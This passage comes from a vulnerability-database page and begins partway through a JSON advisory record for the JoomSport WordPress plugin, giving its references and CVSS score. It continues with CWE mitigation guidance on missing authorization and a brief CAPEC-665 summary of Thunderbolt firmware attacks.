    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/trunk/includes/posts/joomsport-post-season.php#L22"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/joomsport-sports-league-results-management/trunk/includes/posts/joomsport-post-season.php#L230"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3581673%40joomsport-sports-league-results-management\u0026new=3581673%40joomsport-sports-league-results-management\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/a00997d4-f242-4d49-8542-0738efa66222?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

CAPEC-665: Exploitation of Thunderbolt Protection Flaws

An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.

← Back to the CWE list